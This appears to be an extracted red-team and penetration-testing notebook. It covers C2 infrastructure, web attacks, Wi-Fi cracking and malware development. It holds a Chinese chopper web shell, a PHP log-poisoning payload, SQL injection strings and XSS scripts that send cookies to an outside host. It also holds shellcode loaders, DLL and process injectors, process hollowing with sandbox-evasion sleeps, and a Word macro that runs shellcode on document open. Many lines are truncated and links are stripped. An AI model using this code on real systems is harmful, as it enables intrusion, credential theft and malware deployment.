[Link]
Meterpreter
unicorn
[Link]
Listeners
[Link]
[Link]
[Link]
dnscat2
[Link]
[Link]
chashell
[Link]
A * -> <IP>
A @ -> <IP>
Get dependencies:
$ export GOPATH=/home/snovvcrash/code/go
$ export PATH=$GOPATH:$GOPATH/bin:$PATH
$ go get -v -u [Link]/golang/dep/cmd/dep
$ go get [Link]/mitchellh/gox
$ cd $GOPATH/src/[Link]/golang/dep
$ go install ./...
Build binaries:
$ cd release/
$ sudo systemctl stop systemd-resolved
$ sudo ./chaserv_linux_amd64
Run client on Victim:
$ ./chashell_linux_amd64
Tools
[Link]
[Link]
VbRev
[Link]
xc
[Link]
Listen:
Launch:
Web Shells
PHP
[Link]
ASP
JScript
Chinese chopper:
// Server-side
<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["cmd"],"unsaf
// Client-side
[Link](new ActiveXObject("[Link]").exec("cmd /c whoami").[Link]())
Web
Upgrade Burp
Downloads / Jython
Using Burp's Session Handling Rules with anti-CSRF Tokens - PortSwigger
Burp и его друзья / Блог компании Digital Security / Хабр
Extensions
BApp Store:
ActiveScan++ Pro
J2EEScan Pro
WordPress Scanner
GitHub:
Femida XSS
SHELLING
Burp Vulners Scanner
HackBar
Tools
nikto
[Link]
dnsrecon
[Link]
Perform reverse DNS lookup for IPs in subnet [Link]/24 with a name server at [Link] :
gobuster
[Link]
[Link]
wfuzz
[Link]
[Link]
$ wfuzz -e encoders
$ wfuzz -c -u '[Link] -w /usr/share/seclists/Fuzzing/4-digits-0
$ wfuzz -c -u '[Link] --basic 'FUZZ:FUZ2Z' -w /usr/share/seclists/Usernames/top-u
ffuf
[Link]
[Link]
aquatone
[Link]
Default ports:
$ ports=`cat nmap/[Link] | grep -ioP '\d+/open/tcp//http' | awk -F/ '{print $1}' | sort -u
$ cat [Link] | ./aquatone -ports $ports -out 10.0-255.0-255.0-255_nmap
Or
$ cat nmap/[Link] | ./aquatone -out 10.0-255.0-255.0-255_nmap
amass
[Link]
Об обнаружении субдоменов
snovvcrash@gh-pages:~$ _
$ amass intel -active -config [Link] -whois -df [Link] -ipv4 -src -v -o [Link]
$ amass enum -active -brute -config [Link] -df [Link] -ipv4 -src -v -o [Link]
subfinder
[Link]
shuffledns
[Link]
massdns
[Link]
[Link]
dnsx
[Link]
chaos
[Link]
nuclei
[Link]
$ nuclei -update-templates
$ nuclei -l [Link] -t cves/ -o [Link]
httpx
[Link]
2FA Bypass
LFI / RFI
Local / Remote File Inclusion
[Link]
/etc/samba/[Link] :
log level = 3
[share]
comment = TEMP
path = /tmp/smb
writable = no
guest ok = yes
guest only = yes
read only = yes
browsable = yes
directory mode = 0555
force user = nobody
PHP
[Link]
[Link]
$ nc [Link] 80
GET /<?php system($_GET['cmd']); ?>
$ curl '[Link]
Or
$ curl '[Link]
Error log:
SOP / CORS
Same-Origin Policy / Cross-Origin Resource Sharing
[Link]
[Link]
[Link]
CORS Server
An HTTPS server with CORS header accepting connections from any domain in Flask:
[Link]
from flask import Flask, send_file
from flask_cors import CORS
app = Flask(__name__)
CORS(app)
@[Link]('/[Link]', methods=['GET'])
def xss():
return send_file('./[Link]', download_name='[Link]')
# openssl req -x509 -newkey rsa:4096 -nodes -out [Link] -keyout [Link] -days 365
[Link](host='[Link]', port=443, ssl_context=('[Link]', '[Link]'))
SQLi
SQL Injection
MySQL
DIOS
[Link]
[Link]
[Link]
[Link]
id=1' UNION SELECT 1,(SELECT (@a) FROM (SELECT (@a:=0x00),(SELECT (@a) FROM (information_schem
id=1' UNION SELECT 1,(SELECT (@a) FROM (SELECT (@a:=0x00),(SELECT (@a) FROM ([Link]) WH
Truncation Attack
name=snovvcrash&email=admin%[Link]++++++++++11&password=qwe12345
id=-1' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT table_name from mysql.innodb_table_stats)b
Write File
Read File
MS SQL
[Link]
[Link]
sqlmap
Usage · sqlmapproject/sqlmap Wiki
PayloadsAllTheThings/SQL Injection
Write file:
Test WAF:
[Link]
WAF
Enum WAF:
WordPress
[Link]
Malicious Plugin
Write a web shell with a malicious plugin.
$ cp /usr/share/seclists/Web-Shells/WordPress/[Link] .
$ zip [Link] [Link]
Upload [Link] (Plugins > Add New) and install it (Upload Plugin > Browse... > Install Now)
b td t ti t ! N th b h ll
$ curl '[Link]
wpscan
[Link]
[Link]
XSS
Cross-Site Scripting
Redirections
[Link]
<head>
<meta http-equiv="refresh" content="0; URL=[Link] />
</head>
Data Grabbers
Cookies
[Link]
Img tag:
<script>
fetch('[Link] {
method: 'POST',
mode: 'no-cors',
body: [Link]
});
</script>
XMLHttpRequest
XSS to LFI
[Link]
<script>
var xhr = new XMLHttpRequest;
[Link] = function() {
[Link]([Link]);
};
[Link]("GET", "[Link]
[Link]();
</script>
<script>x=new XMLHttpRequest;[Link]=function(){[Link]([Link]);};[Link]("G
XSS to CSRF
[Link]
<script>
var xhr;
if ([Link]) {
xhr = new XMLHttpRequest();
} else {
xhr = new ActiveXObject("[Link]");
}
[Link]("POST", "/[Link]");
[Link]("Content-type", "application/x-www-form-urlencoded");
[Link]("cmd=powershell -enc ...");
</script>
<script>
var req = new XMLHttpRequest();
[Link] = handleResponse;
[Link]('GET', '/email', true);
[Link]();
function handleResponse() {
var token = [Link](/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
[Link]('POST', '/email/change-email', true);
[Link]('csrf='+token+'&email=test@[Link]')
};
</script>
Wi-Fi
[Link]
[Link]
[Link]
[Link]
[Link]
wardriving.70594/
$ uname -r
5.8.0-kali2-amd64
$ sudo -i
# echo "blacklist r8188eu" >> "/etc/modprobe.d/[Link]"
# git clone [Link] /opt/rtl8188eus && cd /opt/
# make && make install
# reboot
[Link]
Prologue
Install stuff:
Make sure lsusb can see the wireless adapters (it would show the chipset):
$ lsusb
Bus 001 Device 003: ID 2357:010c TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS]
Bus 001 Device 010: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R D
$ ifconfig
$ iwconfig
$ iw dev
Undo:
Undo:
Or do it with airmon-ng:
In fact, that does not need to be done as airodump-ng can put the wireless card into monitor mode
automatically:
$ macchanger -s wlan1
Misc
WLAN channels
[Link]
Could not load image
Signal Strength
[Link]
WPA / WPA2
Enterprise
Wi-Fi Protected Access Enterprise
[Link]
lo0tbo0ty-karma-edition-f72e7995aef2
[Link]
hostapd-wpe
[Link]
[Link]
[Link]
1. Install dependencies:
apd_launchpad
[Link]
[Link]
EAPHammer
[Link]
Setup:
Create a certificate:
$ sudo ./eaphammer --bssid [Link] --essid Example --channel 1 --interface wlan1 --a
Personal
Wi-Fi Protected Access Personal
4-Way Handshake
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
1. Look for targets. Save BSSID ( [Link] ), CH ( 9 ), ESSID ( SomeEssid ) and STATION
( [Link] ) if deauth will be required:
$ sudo airodump-ng -M -U wlan1 [-c 36-165 (for 5GHz, see WLAN channels) or just -c 1-200 for a
qq
3. Send DeAuth packets in a separate terminal till WPA handshake: XX:XX:XX:XX:XX:XX appears
(aggressive):
4. Clean the capture, check it once again, covert to Hashcat format and crack it:
$ aircrack-ng SomeEssid*.cap
$ wpaclean [Link] [Link]
$ cowpatty -r [Link] -s SomeEssid -c
$ /usr/lib/hashcat-utils/[Link] [Link] [Link]
$ hashcat -m 2500 -O -a 0 -w 4 --session=wpa2 -o [Link] [Link] [Link] seclists/Pa
wifite2
PMKID
[Link]
wifite2
wifite2
[Link]
[Link]
Install wifite2:
Fire up wifite2:
airgeddon
[Link]
wifiphisher
[Link]
Creating a custom phishing scenario · wifiphisher/wifiphisher
Install:
Start a rogue AP with fake captive portal (firmware update scenario) on wlan1 and deauth clients with
wlan2:
$ sudo wifiphisher -aI wlan1 -eI wlan2 -p wifi connect
⚔️Red Team
Basics
[Link]
[Link]
Tactics
[Link]
[PDF] WarCon22 - Modern Initial Access and Evasion Tactics (Mariusz Banach)
RTFM
[Link]
Cobalt Strike
[Link]
[Link]
Malleable C2 Profiles
[Link]
[Link]
Aggressor Scripts
[Link]
[Link]
[Link]
Community Kit
[Link]
[Link]
P2P Beacons
Beacon TCP and Beacon SMB are Peer-to-Peer beacons which means they're used to chain a connection
to an existent beacon. They act like bind shells and waits for the attacker to connect to them.
DNS Beacons
[Link]
Create an A record [Link] pointing to IP address of the redirector and then an NS record
pointing to [Link] .
Before starting a DNS listener, the localhost resolver should be shut down if necessary: sudo
systemctl disable systemd-resolved --now .
socat Redirector
On the redirector:
iptables Redirector
Add
[Link]
sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'
sudo iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
sudo iptables -t nat -A PREROUTING -m state --state NEW --protocol udp --destinatio
sudo iptables -t nat -A PREROUTING -m mark --mark 0x400 --protocol udp -j DNAT --to
sudo iptables -t nat -A POSTROUTING -m mark --mark 0x400 -j MASQUERADE
sudo iptables -I FORWARD -j ACCEPT
Delete
[Link]
sudo sh -c 'echo 0 > /proc/sys/net/ipv4/ip_forward'
sudo iptables -D INPUT -p udp -m udp --dport 53 -j ACCEPT
sudo iptables -t nat -D PREROUTING -m state --state NEW --protocol udp --destinatio
sudo iptables -t nat -D PREROUTING -m mark --mark 0x400 --protocol udp -j DNAT --to
sudo iptables -t nat -D POSTROUTING -m mark --mark 0x400 -j MASQUERADE
sudo iptables -D FORWARD -j ACCEPT
DNSMasq Redirector
[Link]
Overpass the Hash
More opsec PtH than builtin pth command (which does the Mimikatz sekurlsa::pth thing with named
pipe impersonation):
Or
$ echo -en "<BASE64_TICKET>" | base64 -d > [Link]
Pass-the-Ticket
Create a sacrificial process, import the TGT into its logon session and steal its security token:
Pivoting
Make any traffic hitting port 8443 on Victim to be redirected to [Link] on port 443 (traffic flows through
the team server):
sub invoke_dcom
{
local('$handle $script $oneliner $payload');
Credentials
DPAPI
List credential blobs:
beacon> ls C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials
Check which master keys correspond to credential blobs (look for guidMasterKey field with GUID):
beacon> ls C:\Users\snovvcrash\AppData\Roaming\Microsoft\Protect\<SID>
Decrypt the master key via RPC on the Domain Controller and show it:
Evasion
Sleep Mask
[Link]
[Link]
Infrastructure
[Link]
[Link]
[Link]
[Link]
[PDF] Orchestrating Resilient Red Team Operations (Yiannis Ioannides)
Nebula
[Link]
[Link]
Install:
Configs:
Lighthouse
[Link]
pki:
ca: /opt/nebula/certs/[Link]
cert: /opt/nebula/certs/[Link]
key: /opt/nebula/certs/[Link]
static_host_map:
"[Link]": ["<LIGHTHOUSE_IP>:4242"]
lighthouse:
am_lighthouse: true
listen:
host: [Link]
port: 4242
punchy:
punch: true
tun:
disabled: false
dev: nebula1
drop_local_broadcast: false
drop_multicast: false
tx_queue: 500
mtu: 1300
routes:
unsafe_routes:
logging:
level: info
format: text
firewall:
conntrack:
tcp_timeout: 12m
udp_timeout: 3m
default_timeout: 10m
max_connections: 100000
outbound:
- port: any
proto: any
host: any
inbound:
- port: any
proto: icmp
host: any
- port: 4789
proto: any
host: any
- port: 22
proto: any
cidr: [Link]/24
Teamserver
[Link]
pki:
ca: /opt/nebula/certs/[Link]
cert: /opt/nebula/certs/[Link]
key: /opt/nebula/certs/[Link]
static_host_map:
"[Link]": ["<LIGHTHOUSE_IP>:4242"]
lighthouse:
am_lighthouse: false
interval: 60
hosts:
- "[Link]"
listen:
host: [Link]
port: 4242
punchy:
punch: true
tun:
disabled: false
dev: nebula1
drop_local_broadcast: false
drop_multicast: false
tx_queue: 500
mtu: 1300
routes:
unsafe_routes:
logging:
level: info
format: text
firewall:
conntrack:
tcp_timeout: 12m
udp_timeout: 3m
default_timeout: 10m
max_connections: 100000
outbound:
- port: any
proto: any
host: any
inbound:
- port: any
proto: icmp
host: any
- port: 80
proto: any
host: any
- port: 443
proto: any
host: any
- port: 4789
proto: any
host: any
- port: 22
proto: any
cidr: [Link]/24
Proxy
[Link]
pki:
ca: /opt/nebula/certs/[Link]
cert: /opt/nebula/certs/[Link]
key: /opt/nebula/certs/[Link]
static_host_map:
"[Link]": ["<LIGHTHOUSE_IP>:4242"]
lighthouse:
am_lighthouse: false
interval: 60
hosts:
- "[Link]"
listen:
host: [Link]
port: 4242
punchy:
punch: true
tun:
disabled: false
dev: nebula1
drop_local_broadcast: false
drop_multicast: false
tx_queue: 500
mtu: 1300
routes:
unsafe_routes:
logging:
level: info
format: text
firewall:
conntrack:
tcp_timeout: 12m
udp_timeout: 3m
default_timeout: 10m
max_connections: 100000
outbound:
- port: any
proto: any
host: any
inbound:
- port: any
proto: icmp
host: any
- port: 80
proto: any
host: any
- port: 443
proto: any
host: any
- port: 4789
proto: any
host: any
- port: 22
proto: any
cidr: [Link]/24
Systemd unit:
/etc/systemd/system/[Link]
[Unit]
Description=nebula
Wants=[Link]
After=[Link] [Link]
[Service]
SyslogIdentifier=nebula
ExecReload=/bin/kill -HUP $MAINPID
ExecStart=/opt/nebula/nebula -config /opt/nebula/<CONFIG>.yml
Restart=always
[Install]
WantedBy=[Link]
Caddy
[Link]
[Link]
[Link]
[Link]
[Link]
Install:
/etc/caddy/Caddyfile
{
log
#debug
admin off
#auto_https disable_redirects
}
(logging) {
log {
output file /var/log/caddy-{args.0}-[Link] {
roll true
roll_size 1Mib
roll_local_time true
roll_keep 24
roll_keep_for 7d
}
}
}
(proxy-upstream) {
@ua_denylist {
header User-Agent curl*
}
@ip_denylist {
remote_ip [Link]/32
}
header {
-Server
+X-Robots-Tag "noindex, nofollow, nosnippet, noarchive"
+X-Content-Type-Options "nosniff"
}
reverse_proxy [Link] {
header_up Host {upstream_hostport}
header_up X-Forwarded-Host {host}
header_up X-Forwarded-Port {port}
transport http {
tls_insecure_skip_verify
}
}
}
[Link] {
import logging all
#tls /opt/caddy/ssl/[Link] /opt/caddy/ssl/[Link]
handle /files/* {
file_server {
# there should be this "files" directory in root
root /home/snovvcrash/www
#browse
}
}
handle {
import proxy-upstream
}
}
Malware Development
[Link]
EIKAR:
Code Snippets
C++
XOR encryption:
int j = 0;
for (int i = 0; i < data_len; i++) {
if (j == sizeof(key) - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
AES encryption:
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
An alternative way to get the nearest return address in current stack frame (besides _ReturnAddress and
_AddressOfReturnAddress) without manually walking the stack:
[Link]
#include <intrin.h>
#include <windows.h>
#include <iostream>
#include <sstream>
#include <iomanip>
// [Link]
template<class... Args>
void log(Args... args)
{
std::stringstream oss;
(oss << ... << args);
std::cout << [Link]() << std::endl;
}
// [Link]
void addressOfReturnAddress() {
auto pRetAddr = (PULONG_PTR)_AddressOfReturnAddress(); // [Link]
log("Original return address via _AddressOfReturnAddress: 0x", std::hex, std::setw(8), std
}
// [Link]
void rtlCaptureStackBackTrace() {
typedef USHORT(WINAPI* CaptureStackBackTraceType)(__in ULONG, __in ULONG, __out PVOID*, __
CaptureStackBackTraceType RtlCaptureStackBackTrace = (CaptureStackBackTraceType)(GetProcAd
void* callers[2] = { NULL };
int count = (RtlCaptureStackBackTrace)(1, 2, callers, NULL);
log("Original return address via RtlCaptureStackBackTrace: 0x", std::hex, std::setw(8), st
}
Python
Run OS command:
[Link]
import subprocess, shlex
def run_command(command):
process = [Link]([Link](command), stdout=[Link])
while True:
output = [Link]().decode()
if output == '' and [Link]() is not None:
break
if output:
print([Link]())
res = [Link]()
return res
Blog Series
@0xPat
@cocomelonc
@preemptdev
Maelstrom: An Introduction
Maelstrom: The C2 Architecture
Maelstrom: Working with AMSI and ETW for Red and Blue
@chvancooten
API Hashing
[Link]
[Link]
shellcode-detection
Examples
[Link]
API Hooking
[Link]
using-c++
[Link]
[Link]
Examples
C++
[Link]
[Link]
C#
[Link]
Tools
[Link]
[Link]
[Link]
BOF / COFF
Beacon Object Files / Common Object File Format
BOF
msgbox.c
// wget [Link]
// x86_64-w64-mingw32-gcc -c msgbox.c -o msgbox.o
#include <windows.h>
#include "beacon.h"
datap parser;
BeaconDataParse(&parser, args, len);
char* message;
message = BeaconDataExtract(&parser, NULL);
Aggressor
[Link]
alias msgbox {
local('$handle $bof $args');
# Pack args
$args = bof_pack($1, "z", $2);
# Execute BOF
beacon_inline_execute($1, $bof, "go", $args);
}
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
RunOF
[Link]
[Link]
An example of running the nanodump.x64.o BOF via RunOF fork from memory:
Compile [Link] assembly and convert it to a PowerShell invoker (see .NET Reflective Assembly)
Search for argument types that the target BOF uses (usually located in accompanying Aggressor
scripts):
Load the invoker into memory, fetch the BOF ( -u option) and run it providing necessary arguments with
their types like this:
Code Injection
[Link]
process
[Link]
[Link]
Shellcode as Function
[Link]
[Link]
[Link]
without-windows-apis
[Link]
[Link]
Snippets/blob/main/Linux%20Shellcode%20Loaders/simpleLoader.c
[Link]
Kit/blob/main/deprecated/badger_template.ps1
Windows
loader.c
#include <stdio.h>
#include <windows.h>
int main() {
DWORD lpThreadId = 0;
DWORD flOldProtect = 0;
int bufsize = sizeof(buf);
LPVOID f = VirtualAlloc(NULL, bufsize, MEM_RESERVER|MEM_COMMIT, PAGE_READWRITE)
for (int i = 0; i < (int)bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }
memcpy(f, buf, bufsize);
VirtualProtect(f, bufsize, PAGE_EXECUTE_READ, &flOldProtect);
((void(*)())f)();
//VirtualFree(f, 0, MEM_RELEASE);
WaitForSingleObject((HANDLE)-1, -1);
return 0;
}
Linux
loader.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
gargoyle
[Link]
[Link]
[Link]
[Link]
gargoyle/
[Link]
[Link]
[Link]
Memory Scanners
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
PE to Shellcode
[Link]
[Link]
[Link]
Example with [Link] and donut (C# cross-compilation is done with Mono):
[Link]
RNDNAME=`curl -sL [Link]
wget [Link] -qO /tmp/
namespace Sh4rpH0und
{
class Program
{
[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, ulong dwSize, uint flAllocationTyp
[DllImport("[Link]")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr
[DllImport("[Link]")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
PE Injection
[Link]
[Link]
[Link]
Shellcode Execution via Callbacks
[Link]
[Link]
[Link]
[Link]
CallWindowProc
CertEnumSystemStore
CertEnumSystemStoreLocation
CopyFile2
CopyFileEx
CryptEnumOIDInfo
EnumCalendarInfo
EnumCalendarInfoEx
EnumCalendarInfoExEx
EnumChildWindows
EnumDateFormats
EnumDesktopWindows
EnumDesktops
EnumDirTree
EnumDisplayMonitors
EnumFontFamilies
EnumFontFamiliesEx
EnumFonts
EnumLanguageGroupLocales
EnumObjects
EnumPageFiles
EnumPwrSchemes
EnumResourceTypes
EnumResourceTypesEx
EnumSystemCodePages
EnumSystemGeoID
EnumSystemLanguageGroups
EnumSystemLocales
EnumSystemLocalesEx
EnumThreadWindows
EnumTimeFormats
EnumTimeFormatsEx
EnumUILanguages
EnumWindowStations
EnumWindows
EnumerateLoadedModules
EnumerateLoadedModulesEx
ImageGetDigestStream
ImmEnumInputContext
InitOnceExecuteOnce
LdrEnumerateLoadedModules
LineDDA
NotifyIpInterfaceChange
NotifyRouteChange2
NotifyTeredoPortChange
NotifyUnicastIpAddressChange
SetupCommitFileQueue
SymEnumProcesses
SymFindFileInPath
VerifierEnumerateResource
Detection
[Link]
[Link]
$assembly = "\path\to\csharp\[Link]"
$stream = [[Link]]::OpenRead($assembly)
$peReader = [[Link]]::new($stream, [[Link].P
$metadataReader = [[Link]]::GetMetadataReader($peReader
$assemblyDefinition = $[Link]()
foreach($typeHandler in $[Link]) {
$typeDef = $[Link]($typeHandler)
foreach($methodHandler in $[Link]()) {
$methodDef = $[Link]($methodHandler)
$import = $[Link]()
if ($[Link]) {
continue
}
$dllImportFuncName = $[Link]($[Link])
$dllImportParameters = $[Link]()
$dllImportPath = $[Link]($[Link]($import
Write-Host "$dllImportPath, $dllImportParameters`n$dllImportFuncName`n"
}
}
([[Link]]::LoadFile("\path\to\csharp\[Link]")).GetTypes() | % {$_.GetM
T l
[Link]
[Link]
[Link]
[Link]
DLL Injectors
Inject DLLs into remote process's virtual address space
C# Executable
1. Allocate space for the malicious DLL in remote process's virtual address space.
2. Write the DLL contents into the allocated space.
3. Locate the address of the LoadLibraryA function in [Link] with GetModuleHandle and
GetProcAddress . Most Windows native DLLs are allocated at the same base address, so the
obtained address of LoadLibraryA will be the same for the remote process.
4. Invoke LoadLibraryA function on the behalf of the remote thread supplying base LoadLibraryA
address as the 4th argument of CreateRemoteThread and the name of the DLL to be loaded as the
5th argument.
All this is needed because LoadLibrary functions cannot be invoked natively on a remote process.
[Link]
using System;
using [Link];
using [Link];
using [Link];
using [Link];
using [Link];
namespace DLLInjector
{
class Program
{
[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI
[DllImport("[Link]")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lp
[DllImport("[Link]")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, ui
[Link]("[Link] dllName);
// Allocate space for the DLL name in remote process's virtual address space and w
IntPtr dllAddress = VirtualAllocEx(hProcess, [Link], 0x1000, 0x3000, 0x40);
IntPtr outSize;
WriteProcessMemory(hProcess, dllAddress, [Link](dllName), dllNa
According to this template that MSF is using to generate a DLL, there's another injection
technique (Thread Execution Hijacking) in the DLL code itself which is invoked upon
DLL_PROCESS_ATTACH event. That causes the DLL not to be loaded in the target process
memory, but it rather forces new shellcode to be executed by [Link] and the malicios
process (meterpreter shell, etc.) gets the PID of [Link] . It may also result in hanging
the parent's process ( [Link] in terms of this example) and crashing it when the shell
dies.
Reflective DLL Injection
[Link]
[Link]
[Link]
[Link]
Invoke-ReflectivePEInjection
[Link]
ReflectivePEInjection.ps1
Process Hollowing
[Link]
Snippets/blob/main/Shellcode%20Process%20Hollowing/[Link]
[Link]
3. Read 8 bytes of memory (for 64-bit architecture) pointed by the image base address pointer in order to get
the actual value of the image base address.
4. Read 0x200 bytes of the loaded EXE image and parse PE structure to get the EntryPoint address.
5. Write the shellcode to the EntryPoint address and resume thread execution.
[Link]
using System;
using [Link];
namespace ProcessHollower
{
class Program
{
public const uint CREATE_SUSPENDED = 0x4;
public const int ProcessBasicInformation = 0;
[StructLayout([Link])]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[DllImport("[Link]")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lp
[DllImport("[Link]")]
static extern void Sleep(uint dwMilliseconds);
[DllImport("[Link]")]
static extern IntPtr GetCurrentProcess();
// Sleep to evade in-memory scan + check if the emulator did not fast-forward thro
var rand = new Random();
uint dream = (uint)[Link](10000, 20000);
double delta = dream / 1000 - 0.5;
DateTime before = [Link];
Sleep(dream);
if ([Link](before).TotalSeconds < delta)
{
[Link]("Charles, get the rifle out. We're being fucked.");
return;
}
// Query created process to extract its base address pointer from PEB (Process Env
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = [Link];
ZwQueryInformationProcess(hProcess, ProcessBasicInformation, ref bi, (uint)(IntPtr
// Pointer to the base address of the EXE image: BASE_ADDR_PTR = PEB_ADDR + 0x10
IntPtr ptrImageBaseAddress = (IntPtr)((Int64)[Link] + 0x10);
// Read 8 bytes of memory ([Link] is 8 bytes for x64) pointed by the image ba
byte[] baseAddressBytes = new byte[[Link]];
IntPtr nRead = [Link];
ReadProcessMemory(hProcess, ptrImageBaseAddress, baseAddressBytes, baseAddressByte
// We're got bytes as a result of memory read, then converted them to Int64 and ca
IntPtr imageBaseAddress = (IntPtr)(BitConverter.ToInt64(baseAddressBytes, 0));
// Read 200 bytes of the loaded EXE image and parse PE structure to get the EntryP
byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, imageBaseAddress, data, [Link], out nRead);
// "e_lfanew" field (4 bytes, UInt32; contains the offset for the PE header): e_lf
uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
// EntryPoint RVA (Relative Virtual Address) offset: ENTRYPOINT_RVA_OFFSET = e_lfa
uint entrypointRvaOffset = e_lfanew + 0x28;
// EntryPoint RVA (4 bytes, UInt32; contains the offset for the executable EntryPo
uint entrypointRva = BitConverter.ToUInt32(data, (int)entrypointRvaOffset);
// Absolute address of the executable EntryPoint: ENTRYPOINT_ADDR = BASE_ADDR + EN
IntPtr entrypointAddress = (IntPtr)((UInt64)imageBaseAddress + entrypointRva);
// Write the shellcode to the EntryPoint address and resume thread execution
WriteProcessMemory(hProcess, entrypointAddress, buf, [Link], out nRead);
ResumeThread([Link]);
}
}
}
[Link]
[Link]
[Link]
image-relocations
Process Injectors
Inject shellcode into remote process's virtual address space
[Link]
[Link]
[Link]
[Link]
Snippets/blob/main/Shellcode%20Process%20Injector/[Link]
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
[Link]
using System;
using [Link];
using [Link];
namespace ProcessInjector
{
public class Program
{
[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI
[DllImport("[Link]")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lp
[DllImport("[Link]")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, ui
[DllImport("[Link]")]
static extern void Sleep(uint dwMilliseconds);
[DllImport("[Link]")]
static extern IntPtr GetCurrentProcess();
// Sleep to evade in-memory scan + check if the emulator did not fast-forward thro
var rand = new Random();
uint dream = (uint)[Link](10000, 20000);
double delta = dream / 1000 - 0.5;
DateTime before = [Link];
Sleep(dream);
if ([Link](before).TotalSeconds < delta)
{
[Link]("Charles, get the rifle out. We're being fucked.");
return;
}
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, [Link], out outSize);
When selecting architecture during compilation, remember that there're 4 potential ways to
perform the migration:
[Link]
ntmapviewofsection-code-injection
[Link]
Snippets/blob/main/Sections%20Shellcode%20Process%20Injector/[Link]
NtCreateSection
NtMapViewOfSection
RtlCreateUserThread
NtUnmapViewOfSection
[Link]
using System;
using [Link];
using [Link];
using [Link];
namespace NtProcessInjector
{
public class Program
{
public const uint PROCESS_ALL_ACCESS = 0x001F0FFF;
public const uint SECTION_MAP_READ = 0x0004;
public const uint SECTION_MAP_WRITE = 0x0002;
public const uint SECTION_MAP_EXECUTE = 0x0008;
public const uint PAGE_READ_WRITE = 0x04;
public const uint PAGE_READ_EXECUTE = 0x20;
public const uint PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("[Link]")]
static extern void Sleep(uint dwMilliseconds);
[DllImport("[Link]")]
static extern IntPtr GetCurrentProcess();
// Sleep to evade in-memory scan + check if the emulator did not fast-forward thro
var rand = new Random();
uint dream = (uint)[Link](10000, 20000);
// Map the view of created section into the LOCAL process's virtual address space
IntPtr baseAddressL = new IntPtr();
ulong sectionOffsetL = new ulong();
if (NtMapViewOfSection(hSection, hLocalProcess, ref baseAddressL, [Link], UI
{
[Link]("[-] Falied to map the view into local process's space");
return;
}
// Map the view of (the same) created section into the REMOTE process's virtual ad
IntPtr baseAddressR = new IntPtr();
ulong sectionOffsetR = new ulong();
if (NtMapViewOfSection(hSection, hRemoteProcess, ref baseAddressR, [Link], U
{
[Link]("[-] Falied to map the view into remote process's space");
return;
}
// Copy the shellcode into the locally mapped view which will be reflected on the
[Link](buf, 0, baseAddressL, bufLength);
// Execute the shellcode in a remote thread (also can be done with CreateRemoteThr
//CreateRemoteThread(hRemoteProcess, [Link], 0, baseAddressR, [Link], 0
IntPtr threadHandle = new IntPtr();
if (RtlCreateUserThread(hRemoteProcess, [Link], false, 0, [Link], IntPtr
{
[Link]("[-] Failed to create a remote thread");
return;
}
// Clean up
NtUnmapViewOfSection(hLocalProcess, baseAddressL);
NtClose(hSection);
}
}
}
Tools
PSInject
[Link]
Shellcode Runners
Inject shellcode into current process's virtual address space
VBA
An explanation how to map C types to appropriate VBA types manually.
With this approach the shell lives until Word is not closed (no WaitForSingleObject ):
[Link]
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As LongPtr, ByVa
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr,
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal SecurityAttributes As Long
Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function FlsAlloc Lib "kernel32" (ByVal lpCallback As LongPtr) As Long
Sub Document_Open()
ShellcodeRunner
End Sub
Sub AutoOpen()
ShellcodeRunner
End Sub
Function ShellcodeRunner()
Dim buf As Variant
Dim tmp As LongPtr
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
Dim dream As Integer
Dim before As Date
' Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sle
dream = Int((1500 * Rnd) + 2000)
before = Now()
Sleep (dream)
